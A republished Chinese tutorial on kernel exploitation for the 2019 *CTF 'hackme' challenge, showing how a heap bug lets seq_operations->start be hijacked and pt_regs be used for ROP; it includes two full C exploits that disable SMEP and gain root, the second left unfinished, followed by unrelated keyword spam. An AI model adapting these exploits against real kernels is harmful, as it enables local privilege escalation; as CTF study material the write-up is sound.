千家信息网

kernel怎么利用pt regs劫持seq operations

发表于:2025-02-24 作者:千家信息网编辑
千家信息网最后更新 2025年02月24日,本文小编为大家详细介绍"kernel怎么利用pt regs劫持seq operations",内容详细,步骤清晰,细节处理妥当,希望这篇"kernel怎么利用pt regs劫持seq operatio
千家信息网最后更新 2025年02月24日kernel怎么利用pt regs劫持seq operations

本文小编为大家详细介绍"kernel怎么利用pt regs劫持seq operations",内容详细,步骤清晰,细节处理妥当,希望这篇"kernel怎么利用pt regs劫持seq operations"文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

struct seq_operations {    void * (*start) (struct seq_file *m, loff_t *pos);    void (*stop) (struct seq_file *m, void *v);    void * (*next) (struct seq_file *m, void *v, loff_t *pos);    int (*show) (struct seq_file *m, void *v);};

当我们read一个stat文件时,内核会调用proc_ops的proc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter){    struct seq_file *m = iocb->ki_filp->private_data;    //...    p = m->op->start(m, &m->index);    //...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

拿2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include #include #include #include #include #include #include #include #include int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        ioctl(fd, 0x30000, &heap);}void delete(int index){        struct Heap heap;        heap.index = index;        ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30003, &heap);}void save_status(){        __asm__(        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_sp, rsp;"        "pushf;"        "pop user_rflags;"        );        puts("[+] save the state success!");}void get_shell(){        if (getuid() == 0)        {                puts("[+] get root");                //system("/bin/sh");                char *shell = "/bin/sh";                char *args[] = {shell, NULL};                execve(shell, args, NULL);        }        else        {                puts("[-] get shell error");                sleep(3);                exit(0);        }}void get_root(void){        //commit_creds(prepare_kernel_cred(0));        void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;        void (*cc)(void *) = (void (*)(void *))commit_creds;        (*cc)((*pkc)(0));}int main(){        char buf[0x1000] = {0};        int i;        size_t seq_data[4] = {0};        save_status();        fd = open("/dev/hackme",0);        if(fd < 0)        {                puts("[-] open file error");                exit(0);        }        add(0, 0x20, buf); // 0        add(1, 0x20, buf); // 1        add(2, 0x20, buf); // 2        add(3, 0x20, buf); // 3        delete(0);        delete(2);        int fd_seq = open("/proc/self/stat", 0);        if(fd_seq < 0)        {                puts("[-] open stat error");                exit(0);        }        show(3, 0x20, -0x20, buf);        vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;        printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);        off = vmlinux_base - raw_vmlinux_base;        commit_creds = off + 0xffffffff8104d220;        prepare_kernel_cred = off + 0xffffffff8104d3d0;        show(1, 0x20, -0x20, buf);        heap_base = ((size_t *)buf)[0] - 0x80;        printf("[+] heap_base=> 0x%lx\n", heap_base);        i = 0;        rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;        rop[i++] = 0x6f0;        rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;        rop[i++] = 0;        rop[i++] = (size_t)get_root;        rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;         rop[i++] = 0;        rop[i++] = 0;        rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;        rop[i++] = (size_t)get_shell;        rop[i++] = user_cs;        rop[i++] = user_rflags;        rop[i++] = user_sp;        rop[i++] = user_ss;        ((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;        edit(3, 0x20, -0x20, buf);        size_t fake_stack = (heap_base + 0x40) & 0xffffffff;        size_t mmap_base = fake_stack & 0xfffff000;        if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)                {                        puts("[-] mmap error");                        sleep(3);                        exit(0);                }        else                puts("[+] mmap success");        memcpy((void *)fake_stack, rop, sizeof(rop));        read(fd_seq, buf, 1);        return 0;}

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

       __asm__(        "mov r15, 0x1111111111;"        "mov r14, 0x2222222222;"        "mov r13, 0x3333333333;"        "mov r12, 0x4444444444;"        "mov rbp, 0x5555555555;"        "mov rbx, 0x6666666666;"        "mov r11, 0x7777777777;"        "mov r10, 0x8888888888;"        "mov r9,  0x9999999999;"        "mov r8,  0xaaaaaaaaaa;"        "mov rcx, 0x666666;"        "mov rdx, 8;"        "mov rsi, rsp;"        "mov rdi, fd_seq;"        "xor rax, rax;"        "syscall"        );

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令:

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

struct pt_regs {/* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */    unsigned long r15;    unsigned long r14;    unsigned long r13;    unsigned long r12;    unsigned long rbp;    unsigned long rbx;/* These regs are callee-clobbered. Always saved on kernel entry. */    unsigned long r11;    unsigned long r10;    unsigned long r9;    unsigned long r8;    unsigned long rax;    unsigned long rcx;    unsigned long rdx;    unsigned long rsi;    unsigned long rdi;/* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */    unsigned long orig_rax;/* Return frame for iretq */    unsigned long rip;    unsigned long cs;    unsigned long eflags;    unsigned long rsp;    unsigned long ss;/* top of stack page */};

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个

我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),

布局如下:

pop_rdi_ret;init_cred;commit_creds;swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2

#include #include #include #include #include #include #include #include #include int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};int fd_seq;struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        ioctl(fd, 0x30000, &heap);}void delete(int index){        struct Heap heap;        heap.index = index;        ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){        struct Heap heap;        heap.index = index;        heap.data = data;        heap.len = len;        heap.offset = offset;        ioctl(fd, 0x30003, &heap);}void save_status(){        __asm__(        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_sp, rsp;"        "pushf;"        "pop user_rflags;"        );        puts("[+] save the state success!");}void get_shell(){        if (getuid() == 0)        {                puts("[+] get root");                //system("/bin/sh");                char *shell = "/bin/sh";                char *args[] = {shell, NULL};                execve(shell, args, NULL);        }        else        {                puts("[-] get shell error");                sleep(3);                exit(0);        }}void get_root(void){        //commit_creds(prepare_kernel_cred(0));        void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;        void (*cc)(void *) = (void (*)(void *))commit_creds;        (*cc)((*pkc)(0));}int main(){        char buf[0x1000] = {0};        int i;        size_t seq_data[4] = {0};        save_status();        fd = open("/dev/hackme",0);        if(fd < 0)        {                puts("[-] open file error");                exit(0);        }        add(0, 0x20, buf); // 0        add(1, 0x20, buf); // 1        delete(0);        fd_seq = open("/proc/self/stat", 0);        if(fd_seq < 0)        {                puts("[-] open stat error");                exit(0);        }        show(1, 0x20, -0x20, buf);        vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;        printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);        off = vmlinux_base - raw_vmlinux_base;        commit_creds = off + 0xffffffff8104d220;        prepare_kernel_cred = off + 0xffffffff8104d3d0;        size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;        ((size_t *)buf)[0] = gadget;        edit(1, 0x20, -0x20, buf);        __asm__(        "mov r15, 0x1111111111;"        "mov r14, 0x2222222222;"        "mov r13, 0x3333333333;"        "mov r12, 0x4444444444;"        "mov rbp, 0x5555555555;"        "mov rbx, 0x6666666666;"        "mov r11, 0x7777777777;"        "mov r10, 0x8888888888;"        "mov r9,  0x9999999999;"        "mov r8,  0xaaaaaaaaaa;"        "mov rcx, 0x666666;"        "mov rdx, 8;"        "mov rsi, rsp;"        "mov rdi, fd_seq;"        "xor rax, rax;"        "syscall"        );        return 0;}

读到这里,这篇"kernel怎么利用pt regs劫持seq operations"文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,如果想了解更多相关内容的文章,欢迎关注行业资讯频道。

寄存器 内核 指针 控制 控制程序 函数 文章 程序 结构 内容 指令 合适 妥当 巧妙 位置 半成品 只有 只需 基地 基地址 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 软件开发公司寿命一般多久 生物信息学与网络安全 postman测试服务器未处理 企业微信的id服务器在哪 关于师生网络安全培训的心得体会 网络安全法心得体会3000字 a类系统数据库推荐使用哪种架构 外国对网络技术的监管 打印机突然接收不到数据库 软件开发哪方面 服务器龙牙 郑州市网络安全挑战赛 服务器端口号可以随便输入数字吗 荣耀5a无法连接服务器怎么办 数据库元组和全码 提供dns解析服务器地址 嵌入式软件开发设计流程 期刊数据库技术与应用 微信与通信服务器失败是什么意思 软件开发部考核方案 淄博应用软件开发服务 pl sql连接数据库 数据库原理及应用教程总结 网络技术研究院 程莉 湖南省衡阳市dns服务器云主机 试用期能约定服务器协议吗 qq网络安全举报 在哪里可以看网络安全大赛 华为网络技术工程师的工作地点 共济动环监控系统服务器
0